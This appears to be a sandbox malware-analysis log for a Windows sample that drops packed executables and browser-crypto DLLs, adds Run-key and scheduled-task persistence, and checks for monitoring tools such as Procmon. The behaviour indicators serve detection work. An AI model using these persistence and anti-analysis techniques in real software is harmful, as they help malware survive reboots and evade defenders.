Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_07E233B3 push FFFFFF8Bh; retf	15_2_07E233BC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_07E23582 push FFFFFF8Bh; iretd	15_2_07E2358B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_07E23549 push FFFFFF8Bh; iretd	15_2_07E23552
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_04D60E6D push esi; iretd	20_2_04D60E92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_04F156B2 push eax; iretd	22_2_04F156B9

Source: file.exe	Static PE information: section name: qflvhncs entropy: 7.953955631255353
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name: entropy: 7.989396011362113
Source: DocumentsJKEGIDGDGH.exe.0.dr	Static PE information: section name: iaxkupqh entropy: 7.954913292155413
Source: random[1].exe.0.dr	Static PE information: section name: zxydtulm entropy: 7.9543015018442835
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 7.989396011362113
Source: skotes.exe.9.dr	Static PE information: section name: iaxkupqh entropy: 7.954913292155413
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.9776660996071636
Source: random[1].exe.10.dr	Static PE information: section name: bydimkjm entropy: 7.95351090655131
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name: entropy: 7.9776660996071636
Source: 32eab1d1d8.exe.10.dr	Static PE information: section name: bydimkjm entropy: 7.95351090655131
Source: random[2].exe.10.dr	Static PE information: section name: qflvhncs entropy: 7.953955631255353
Source: 10d8464898.exe.10.dr	Static PE information: section name: qflvhncs entropy: 7.953955631255353
Source: random[1].exe1.10.dr	Static PE information: section name: entropy: 7.796841578474847
Source: ef3d6a004b.exe.10.dr	Static PE information: section name: entropy: 7.796841578474847
Source: 5ff77f639c.exe.10.dr	Static PE information: section name: zxydtulm entropy: 7.9543015018442835

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJKEGIDGDGH.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJKEGIDGDGH.exe	Jump to dropped file
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJKEGIDGDGH.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 10d8464898.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8236bedaa4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef3d6a004b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 32eab1d1d8.exe	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJKEGIDGDGH.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsJKEGIDGDGH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 32eab1d1d8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 32eab1d1d8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 10d8464898.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 10d8464898.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8236bedaa4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8236bedaa4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef3d6a004b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef3d6a004b.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
